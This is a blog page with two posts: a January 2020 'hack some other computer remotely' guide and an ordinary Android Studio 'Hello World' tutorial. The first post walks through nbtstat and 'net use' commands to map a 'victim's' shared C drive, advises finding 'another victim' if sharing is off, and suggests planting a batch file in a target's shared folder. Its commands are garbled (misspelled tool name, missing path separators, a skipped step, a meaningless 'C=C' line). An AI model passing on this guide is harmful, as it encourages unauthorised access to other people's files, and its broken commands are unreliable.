Hack some other computer remotely using their IP address

January 25, 2020
hello guys, now I am going to guide you on how to access the victim system remotely using the IP address.
Steps to Follow:
Step 1:
Now Go to Start and click Run and then type as “CMD” and hit enter.
the command prompt will open.

Step 2:
Type in cmd as “nbtstat -a IPaddressOfVictim”  and hit enter.
(use ping command to know victim ipaddress)
For eg:
nbstat -a 223.222.222.222
If you see this your in NetBIOS Remote Machine Name Table
Name Type Status —————————————————————
user<00> UNIQUE Registered
workgroup <00> GROUP Registered
user <03> UNIQUE Registered
user <20> UNIQUE Registered
MAC Address = xx-xx-xx-xx-xx-xx
—————————————————————
If you don’t get the number <20>.
The victim disabled the File And Printer Sharing, find another victim.
 Step 4:
Now type as  “net use x: \IPaddressOfVictimCDISK” and hit enter>
replace with IP address of victim in the place of  “IPaddressOfVictim.
You can give any letter instead of ‘x’.
For eg:
net use x:\223.222.222.222CDISK
Step 5:
Now open windows explorer or just double click on the My Computer icon on your
desktop and you will see a new network drive
Now open windows explorer or just double click on the My Computer icon on your
desktop and you will see a new network drive X:.
         This hack will only work if you have the IP of someone on your network. It will not work if the IP of the person you want to “hack” is not on your network.

          If you can only access your targets shared folder put a batch file in their shared folder with the command C=C if they open it, it will share their hard drive.

at January 25, 2020 0 comments

How to create an Android application with Android Studio

January 23, 2020

How to create an Android application with Android Studio


This tutorial you will learn how to create a new Android project with Android Studio and describes some of the files in the project.

firstly:- 
The following pages teach you how to build a simple Android app. You’ll learn how to create a “Hello World” project with Android Studio and run it.
note:- be sure you have installed the latest version of Android Studio. Download Android Studio here.
1. In the Welcome to Android Studio window, click Start a new Android Studio project. Or if you have a project opened, select File > New Project.
2. In the Create New Project window, enter the following values:
  a. Application Name: “My First App”
  b. Company Domain: “example.com”
You might want to change the project location. Also, if you want to write a Kotlin app, check the Include Kotlin support checkbox. Leave the other options as they are.
3. Click Next.
4. In the Target Android Devices screen, keep the default values and click Next.
5. In the Add, an Activity to Mobile screen, select Empty Activity and click Next.
6. In the Configure Activity screen, keep the default values and click Finish.
After some processing, Android Studio opens the IDE.
Now take a moment to review the most important files.

First, be sure the Project window is open (select View > Tool Windows > Project) and the Android view is selected from the drop-down list at the top of that window. You can then see the following files: app > java > com.example.myfirstapp > MainActivityThis is the main activity (the entry point for your app). When you build and run the app, the system launches an instance of this Activity and loads its layout.app > res > layout > activity_main.xmlThis XML file defines the layout for the activity’s UI. It contains a TextView element with the text “Hello world!”.app > manifests > AndroidManifest.xmlThe manifest file describes the fundamental characteristics of the app and defines each of its components.Gradle Scripts > build.gradleYou’ll see two files with this name: one for the project and one for the “app” module. Each module has its own build.gradle file, but this project currently has just one module. You’ll mostly work with the module’s build.gradle file to configure how the Gradle tools compile and build your app.
 Run on a real device
Set up your device as follows:
Connect your device to your development machine with a USB cable. If you’re developing on Windows, you might need to install the appropriate USB driver for your device.
Enable USB debugging in the Developer options as follows.First, you must enable the developer options:
Open the Settings app.
(Only on Android 8.0 or higher) Select System.
Scroll to the bottom and select About phone.
Scroll to the bottom and tap Build number 7 times.
Return to the previous screen to find Developer options near the bottom.
Open Developer options, and then scroll down to find and enable USB debugging.
Run the app on your device as follows:
In Android Studio, click the app module in the Project window and then select Run > Run (or click Run  in the toolbar).
In the Select Deployment Target window, select your device, and click OK.
Android Studio installs the app on your connected device and starts it. You should now see “Hello World!” displayed in the app running on your device.
Run on an emulator
Run the app on an emulator as follows:
In Android Studio, click the app module in the Project window and then select Run > Run (or click Run in the toolbar).
In the Select Deployment Target window, click Create New Virtual Device.
In the Select Hardware screen, select a phone device, such as Pixel, and then click Next.
In the System Image screen, select the version with the highest API level. If you don’t have that version installed, a Download link is shown, so click that and complete the download.
Click Next.
On the Android Virtual Device (AVD) screen, leave all the settings alone and click Finish.
Back in the Select Deployment Target dialog, select the device you just created and click OK.
Android Studio installs the app on the emulator and starts it. You should now see “Hello World!” displayed in the app running on the emulator.



at January 23, 2020 0 comments
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